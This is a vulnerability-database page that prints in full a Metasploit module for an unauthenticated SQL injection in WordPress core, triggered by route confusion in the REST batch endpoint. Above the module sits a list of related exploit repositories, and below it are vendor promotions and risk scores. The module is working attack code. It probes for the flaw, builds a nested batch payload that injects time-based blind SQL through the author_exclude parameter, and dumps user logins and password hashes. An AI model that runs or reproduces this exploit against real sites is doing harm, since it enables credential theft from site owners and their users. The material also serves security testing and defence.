WordPress Core wp2shell Unauthenticated SQL Injection via REST Batch Route Confusion
ποΈΒ 17 Jul 2026Β 00:00:00Reported byΒ dividesbyzer0, Searchlight CyberTypeΒ
Β metasploitπΒ www.rapid7.comπΒ 6Β Views
| Reporter | Title | Published | Views | Family All 214 |
|---|---|---|---|---|
| Exploit for CVE-2026-63030 | 21 Jul 202617:44 | β | githubexploit | |
| Exploit for CVE-2026-63030 | 17 Jul 202623:10 | β | githubexploit | |
| Exploit for CVE-2026-63030 | 19 Jul 202615:52 | β | githubexploit | |
| wp2shell-Exploit-Waf-Bypass | 13 Aug 202609:12 | β | githubexploit | |
| Exploit for Interpretation Conflict in Wordpress | 27 Jul 202604:45 | β | githubexploit | |
| Exploit for CVE-2026-60137 | 18 Jul 202606:40 | β | githubexploit | |
| Exploit for CVE-2026-63030 | 19 Jul 202614:07 | β | githubexploit | |
| Exploit for SQL Injection in Wordpress | 5 Aug 202608:48 | β | githubexploit | |
| Exploit for CVE-2026-63030 | 19 Jul 202614:42 | β | githubexploit | |
| Exploit for Interpretation Conflict in Wordpress | 27 Jul 202621:03 | β | githubexploit |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::Remote::HTTP::Wordpress::SQLi
include Msf::Auxiliary::Scanner
# A deliberately malformed path (no host, no port) for which wp_parse_url() returns false.
# It seeds one WP_Error into the batch request list, desynchronising $matches from $validation
# so a sub-request is dispatched under the following sub-request's handler.
DESYNC_PRIMER = { 'method' => 'POST', 'path' => '///' }.freeze
# The single-post item route. Its ID need not exist; it just matches the item route, whose
# schema does not validate the collection-only author_exclude param.
ITEM_SOURCE = '/wp/v2/posts/999999'.freeze
# Error codes a desynchronised (vulnerable) batch controller emits for the benign marker probe.
MARKER_CODES = %w[parse_path_failed block_cannot_read rest_batch_not_allowed].freeze
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Core wp2shell Unauthenticated SQL Injection via REST Batch Route Confusion',
'Description' => %q{
WordPress core 6.9.0 - 6.9.4 and 7.0.0 - 7.0.1 are affected by an unauthenticated
SQL injection reachable through the REST API batch endpoint (/batch/v1).
The batch controller builds parallel $matches (the matched handler per sub-request)
and $validation (the validation result per sub-request) arrays, then indexes both by
the same offset when dispatching. A sub-request whose path fails wp_parse_url() is
appended to $validation but not to $matches, desynchronising the two arrays so a
sub-request is dispatched under a different sub-request's handler (CVE-2026-63030).
Nesting the primitive twice lets a GET on the single-post item route
/wp/v2/posts/999999, carrying the collection-only parameter author_exclude, be
dispatched under the posts collection get_items() handler, where author_exclude maps
to the WP_Query author__not_in query var. The vulnerable builds interpolate that value
into SQL as a string (CVE-2026-60137), producing a pre-authentication boolean- and
time-based blind SQL injection in the post_author NOT IN (...) clause.
This module confirms the route-confusion primitive with a benign marker probe, then
uses a time-based blind injection to dump WordPress user logins and password hashes.
It is read-only and does not create posts, users, or other content.
},
'Author' => [
'dividesbyzer0', # Metasploit module
'Searchlight Cyber' # wp2shell discovery and advisory
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-63030'],
['CVE', '2026-60137'],
['URL', 'https://www.rapid7.com/blog/post/etr-cve-2026-63030-wp2shell-a-critical-remote-code-execution-vulnerability-in-wordpress-core/'],
['URL', 'https://blog.zsec.uk/wp2shell-code-trace-deep-dive/'],
['URL', 'https://github.com/Icex0/wp2shell-poc']
],
'Actions' => [
['List Users', { 'Description' => 'Dump username and password hash for COUNT users via blind SQLi' }]
],
'DefaultAction' => 'List Users',
'DisclosureDate' => '2026-07-17',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [],
'RelatedModules' => ['exploit/multi/http/wp_batch_desync_rce']
}
)
)
register_options([
OptInt.new('COUNT', [true, 'Number of users to enumerate', 3])
])
end
# POST a batch payload to the unauthenticated REST batch endpoint. The ?rest_route= form works
# on any install, including the plain-permalinks default; /wp-json/ would require pretty permalinks.
def batch_post(payload)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/'),
'vars_get' => { 'rest_route' => '/batch/v1' },
'ctype' => 'application/json',
'data' => payload.to_json
)
end
# Benign detection: a batch arranged so that only a desynchronised (vulnerable) controller emits
# the full MARKER_CODES set. No SQL is injected and no content is created.
def route_confusion?
res = batch_post(
'requests' => [
DESYNC_PRIMER,
{ 'method' => 'POST', 'path' => '/wp/v2/posts' },
{ 'method' => 'POST', 'path' => '/wp/v2/block-renderer/core/archives' },
{ 'method' => 'POST', 'path' => '/batch/v1', 'body' => { 'requests' => [] } }
]
)
return false unless res
body = res.body.to_s
MARKER_CODES.all? { |code| body.include?(code) }
end
# Build and send the double-nested route-confusion payload that lands +payload+ in the
# author__not_in SQL clause. Used as the injection transport for the SQLi engine.
def inject(payload)
num = rand(1000..9999).to_s
ali = Rex::Text.rand_text_alpha(4)
# Break out of post_author NOT IN (<value>); wrap the engine payload in an uncorrelated derived
# table so a time-based SLEEP fires once, not once per matched row; comment out the remainder.
author_exclude = "0) AND (SELECT #{num} FROM (SELECT(#{payload}))#{ali})-- -"
inner = {
'requests' => [
DESYNC_PRIMER,
{ 'method' => 'GET', 'path' => "#{ITEM_SOURCE}?author_exclude=#{Rex::Text.uri_encode(author_exclude, 'hex-normal')}" },
{ 'method' => 'GET', 'path' => '/wp/v2/posts' }
]
}
outer = {
'requests' => [
DESYNC_PRIMER,
{ 'method' => 'POST', 'path' => '/wp/v2/posts', 'body' => inner },
{ 'method' => 'POST', 'path' => '/batch/v1', 'body' => { 'requests' => [] } }
]
}
res = batch_post(outer)
fail_with(Failure::Unreachable, "#{peer} - Connection failed") unless res
end
def check_host(_ip)
unless wordpress_and_online?
return Msf::Exploit::CheckCode::Safe('Server is not online or was not detected as WordPress')
end
unless route_confusion?
return Msf::Exploit::CheckCode::Safe('REST batch route-confusion markers are absent; target is patched or not affected')
end
Msf::Exploit::CheckCode::Vulnerable('REST batch route confusion detected (CVE-2026-63030)')
end
def run_host(ip)
if datastore['COUNT'].negative?
fail_with(Failure::BadConfig, 'COUNT must be zero or greater')
end
check_code = check_host(ip)
unless check_code == Msf::Exploit::CheckCode::Vulnerable
print_error("#{peer} - #{check_code.message}")
return
end
print_good("#{peer} - REST batch route-confusion detected (CVE-2026-63030)")
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|
inject(payload)
end
unless @sqli.test_vulnerable
print_bad("#{peer} - Time-based blind SQLi did not confirm; raise SqliDelay for a slow target")
return
end
print_good("#{peer} - Unauthenticated time-based blind SQL injection confirmed (CVE-2026-60137)")
wordpress_sqli_initialize(@sqli)
wordpress_sqli_get_users_credentials(datastore['COUNT'])
end
end
Data
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Jul 2026 00:00Current
9.2High risk
Vulners AI Score9.2
CVSS 3.19.8
EPSS0.97271
SSVC